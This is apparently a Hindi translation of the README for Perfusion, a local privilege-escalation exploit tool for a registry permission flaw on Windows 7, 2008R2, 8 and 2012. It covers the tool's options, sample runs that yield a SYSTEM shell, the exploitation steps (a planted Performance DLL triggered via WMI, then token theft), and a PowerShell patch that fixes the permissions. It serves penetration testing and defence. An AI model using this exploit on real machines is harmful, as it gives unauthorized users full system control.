
RpcEptMapper रजिस्ट्री कुंजी अनुमतियों की कमजोरी के लिए शोषण (Windows 7 / 2088R2 / 8 / 2012)
Windows 7, Windows Server 2008R2, Windows 8 और Windows Server 2012 पर, RpcEptMapper और DnsCache (केवल 7/2008R2) सेवाओं की रजिस्ट्री कुंजी कमजोर अनुमतियों के साथ कॉन्फ़िगर की गई है। कोई भी स्थानीय उपयोगकर्ता एक Performance उपकुंजी बना सकता है और फिर Windows Performance Counters का लाभ उठाकर WMI सेवा के संदर्भ में NT AUTHORITY\SYSTEM के रूप में एक मनमाना DLL लोड कर सकता है (इसलिए टूल का नाम)।
यह टूल पैठ परीक्षणों के दौरान सुरक्षा सलाहकारों की मदद करने के लिए है। यह सॉफ्टवेयर "जैसा है" प्रदान किया गया है, और मैं संभवतः कोई समर्थन प्रदान नहीं करूंगा। हालाँकि, मैंने इसे तीन अलग-अलग वर्चुअल मशीनों पर गहनता से परीक्षण किया है, इसलिए कोई महत्वपूर्ण समस्या नहीं होनी चाहिए।
अधिक जानकारी के लिए: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
0patch के अनुसार, यह भेद्यता अप्रैल 2021 के Windows Update (ESU) के साथ आंशिक रूप से ठीक कर दी गई थी। इसका मतलब है कि Windows 8 / Server 2012 के अपडेटेड संस्करण चलाने वाली मशीनों का अब शोषण नहीं किया जा सकता। हालाँकि Windows 7 / Server 2008 R2 अभी भी कमजोर बना हुआ है। आपको बस RpcEptMapper के बजाय Dnscache रजिस्ट्री कुंजी का लाभ उठाना होगा। मैंने PoC को अपडेट कर दिया है ताकि आप -k विकल्प के साथ इसे मैन्युअल रूप से निर्दिष्ट कर सकें।
⚠️ इस टूल का उपयोग करने से पहले इसे पढ़ें ⚠️
इस टूल के विकास चरण के दौरान, मैंने दो अलग-अलग व्यवहार देखे:
NT AUTHORITY\SYSTEM के रूप में सीधे लोड किया जाता है, इस स्थिति में शोषण पूरी तरह से काम करता है।NT AUTHORITY\LOCAL SERVICE के रूप में चलती है। इस स्थिति में, सेवा क्लाइंट का प्रतिरूपण करते हुए DLL लोड करती है। यह पता चला है कि Windows 7 पर विशेषाधिकार वृद्धि अभी भी संभव है (एक अन्य भेद्यता के कारण) लेकिन कार्यान्वयन लागत प्रयास के लायक नहीं थी।मैं इस अंतर की व्याख्या नहीं कर सकता क्योंकि मेरा ट्रिगर कोड हमेशा एक जैसा था। वैसे भी, किसी भी स्थिति में, शोषण को अपना काम करने दें ताकि वह समाप्त होने पर सब कुछ साफ कर सके। यदि शोषण विफल होता है, तो भी कुछ मिनट या घंटों बाद इसके काम करने की संभावना है, हालाँकि।
✔️ जब शोषण काम करता है तो आपको यह देखना चाहिए:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ जब शोषण विफल होता है तो आपको यह देखना चाहिए:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
यह समाधान दो प्रोजेक्ट्स से बना है जिन्हें एक विशिष्ट क्रम में संकलित करने की आवश्यकता है। सब कुछ पूर्व-कॉन्फ़िगर है, इसलिए आपको बस इन सरल निर्देशों का पालन करना होगा:
Release / x64 चुनेंBuild > Build Solutionआप -h विकल्प का उपयोग करके सहायता संदेश देख सकते हैं।
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
Windows के निम्नलिखित संस्करण कमजोर हैं:
| Windows संस्करण | कमजोर रजिस्ट्री कुंजियाँ |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
जहाँ तक मुझे पता है, यह भेद्यता Microsoft द्वारा किसी कारण से ठीक नहीं की जाएगी। सबसे अच्छा समाधान अभी भी Windows 10 / Server 2019 में अपग्रेड करना है, लेकिन यदि यह अल्पकालिक विकल्प नहीं है, तो आप निम्नलिखित रजिस्ट्री कुंजियों पर NT AUTHORITY\Authenticated Users और BUILTIN\Users दोनों के लिए CreateSubKey अनुमति को हटाकर स्वयं इस मुद्दे को पैच कर सकते हैं:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheमैंने इस भेद्यता के लिए एक PowerShell स्क्रिप्ट के रूप में एक पैच बनाया है: RegistryPatch.ps1. यह स्क्रिप्ट निम्नलिखित पहचानों के लिए उपर्युक्त दो रजिस्ट्री कुंजियों पर CreateSubKey अधिकार हटाती है: NT AUTHORITY\INTERACTIVE, BUILTIN\Users और/या BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
नीचे इस टूल में कार्यान्वित शोषण चरण दिए गए हैं:
Temp फ़ोल्डर में लिखा जाता है।HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper के अंतर्गत एक Performance कुंजी बनाई जाती है और इसे उपयुक्त मानों से भरा जाता है, जिसमें चरण 2 पर बनाए गए DLL का पूर्ण पथ शामिल है।Win32_Perf बनाया और आह्वान किया जाता है ताकि Windows Performance Counters का संग्रह ट्रिगर हो सके।NT AUTHORITY\SYSTEM या NT AUTHORITY\LOCAL SERVICE के रूप में लोड किया जाता है।NT AUTHORITY\SYSTEM द्वारा लोड किया जाता है, तो इसके Token की नकल की जाती है और इसे उस प्रक्रिया पर लागू किया जाता है जो मूल रूप से चरण 1 में उपयोगकर्ता द्वारा बनाई गई थी।